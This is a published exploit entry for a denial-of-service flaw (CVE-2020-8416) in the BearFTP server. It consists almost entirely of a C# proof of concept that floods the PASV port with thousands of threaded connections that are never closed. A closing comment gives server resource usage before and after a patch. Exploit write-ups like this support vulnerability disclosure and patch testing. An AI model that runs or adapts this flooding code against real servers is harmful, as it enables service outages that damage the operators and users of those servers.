# Exploit Title: BearFTP 0.1.0 - 'PASV' Denial of Service
# Date: 2020-01-29
# Exploit Author: kolya5544
# Vendor Homepage: http://iktm.me/
# Software Link: https://github.com/kolya5544/BearFTP/releases
# Version: v0.0.1 - v0.1.0
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-8416

static void Main(string[] args)
        {
            Console.WriteLine("DoS started. Approx. time to complete: 204 seconds.");
            for (int i = 0; i < 1024*8; i++) // We will do 8000+ connections. Usually server only spawns half of them.
            {
                new Thread(() =>
                {
                    Thread.CurrentThread.IsBackground = true;

                    TcpClient exploit = new TcpClient("HOSTNAME", PASV_PORT); //Replace with actual data to test it.
                    var ns = exploit.GetStream();
                    StreamWriter sw = new StreamWriter(ns);
                    sw.AutoFlush = true;
                    StreamReader sr = new StreamReader(ns);


                    while (true)
                    {
                        Thread.Sleep(5000); //We just spend our time.
                    }
                }).Start();
                Thread.Sleep(25); //Spawn a new connection every 25ms so we don't kill our own connection.
            }
            while (true)
            {
                Console.WriteLine("DoS attack completed!");
                Thread.Sleep(20000);
            }
        }
/*
BEFORE PATCH APPLIED (after ~100 seconds of attacking):
3700 threads spawned, VIRT went from 3388M to 32.1G, RES from 60000 to 129M. CPU usage ~10%. The server struggles to process commands. Recovers in several minutes after the attack is stopped
AFTER PATCH APPLIED:
10 threads spawned at most, VIRT didnt change, RES didnt change. CPU usage ~3%. Works fine. */